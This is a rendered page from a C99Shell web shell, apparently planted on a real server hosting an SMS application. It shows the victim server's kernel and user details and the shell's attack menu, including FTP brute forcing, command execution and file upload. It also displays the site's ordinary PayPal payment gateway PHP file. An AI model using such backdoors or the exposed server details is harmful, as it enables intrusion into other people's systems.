!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/Modules/PaymentGateway/PaymentGatewayProvider/   drwxr-xr-x
Free 28.32 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPalPayment.php (5.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\PaymentGateway\PaymentGatewayProvider;

use 
App\Models\BillingRequest;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Log;
use 
Modules\PaymentGateway\Services\PaymentCredentials;
use 
Omnipay\Omnipay;
use 
PayPal\Api\Payment;

class 
PayPalPayment implements PaymentInterface
{
    public 
$paymentId;
    public 
$request;
    public 
$plan;
    public 
$redirect_url;
    public 
$error_message;
    public 
$return_view;
    public 
$will_redirect false;
    private 
$gateway;

    public function 
__construct()
    {
        
$credentials PaymentCredentials::get();
        if (!isset(
$credentials) || !isset($credentials->paypal_payment_mode) || !$credentials->paypal_payment_mode || (!$credentials->paypal_client_id || !$credentials->paypal_client_secret)) {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }
        
$mode=isset($credentials->paypal_payment_mode) && $credentials->paypal_payment_mode && $credentials->paypal_payment_mode=='live'?'false':'true';
        
$this->gateway Omnipay::create('PayPal_Rest');
        
$this->gateway->setClientId($credentials->paypal_client_id);
        
$this->gateway->setSecret($credentials->paypal_client_secret);
        
$this->gateway->setTestMode($mode);
    }

    public function 
pay()
    {
        
// TODO: Implement pay() method.
    
}

    public function 
plan_request($planReq)
    {
        
$this->planReq $planReq;
        return 
$this;
    }

    public function 
request($request)
    {
        
$this->paymentId $request->paymentId;
        
$this->request $request;
        return 
$this;
    }

    public function 
plan($plan)
    {
        
$this->plan $plan;
        return 
$this;
    }

    public function 
getCredentials()
    {
        
$credentials PaymentCredentials::get();

        if (!isset(
$credentials) || (!$credentials->paypal_client_id || !$credentials->paypal_client_secret)) {
            throw new 
\Exception('Credentials not found. Please contact with the administrator');
        }
        return 
$credentials;
    }

    public function 
will_redirect()
    {
        
// TODO: Implement will_redirect() method.
        
return $this->will_redirect;
    }

    public function 
redirect_url()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->redirect_url;
    }

    public function 
return_view()
    {
        
// TODO: Implement redirect_url() method.
        
return $this->return_view;
    }

    public function 
error_message()
    {
        
// TODO: Implement error_message() method.
        
return $this->error_message;
    }

    public function 
process()
    {
        try {
            
$response $this->gateway->purchase(array(
                
'amount' => $this->plan->price,
                
'currency' => 'USD',
                
'returnUrl' => route('paymentgateway::payment.process.success', ['plan' => $this->planReq->id'user' => $this->planReq->customer_id]),
                
'cancelUrl' => route('paymentgateway::payment.process.cancel'),
            ))->
send();

            if (
$response->isRedirect()) {
                
$this->redirect_url $response->redirect();
                
$this->will_redirect true;
                
$this->return_view null;

                
// this will automatically forward the customer
            
} else {
                
Log::error($response->getMessage());
                
$this->error_message $response->getMessage();
            }
        } catch (
\Exception $e) {
            
Log::error($e->getMessage());
            
$this->error_message $e->getMessage();

        }

    }

    
//custom functions

//    function PayPalPayment($plan, $planReq)
//    {
//        $credentials = $this->getCredentials();
//
//        $apiContext = $this->getPayPalApiContext($credentials->paypal_client_id, $credentials->paypal_client_secret);
//        $payer = new \PayPal\Api\Payer();
//        $payer->setPaymentMethod('paypal');
//
//        $amount = new \PayPal\Api\Amount();
//        $amount->setTotal($this->plan->price);
//        $amount->setCurrency('USD'); //TODO:: get the currency
//
//        $transaction = new \PayPal\Api\Transaction();
//        $transaction->setAmount($amount);
//
//        $redirectUrls = new \PayPal\Api\RedirectUrls();
//        $redirectUrls->setReturnUrl()
//            ->setCancelUrl(route('paymentgateway::payment.process.cancel'));
//
//        $payment = new \PayPal\Api\Payment();
//        $payment->setIntent('sale')
//            ->setPayer($payer)
//            ->setTransactions(array($transaction))
//            ->setRedirectUrls($redirectUrls);
//
//        try {
//            $payment->create($apiContext);
//            return $payment;
//        } catch (\PayPal\Exception\PayPalConnectionException $ex) {
//            // This will print the detailed information on the exception.
//            //REALLY HELPFUL FOR DEBUGGING
//            Log::error($ex->getData());
//        }
//        return null;
//    }
//
//    function getPayPalApiContext($client_id, $secret_key)
//    {
//
//        return new \PayPal\Rest\ApiContext(
//            new \PayPal\Auth\OAuthTokenCredential(
//                $client_id,     // ClientID
//                $secret_key      // ClientSecret
//            )
//        );
//    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--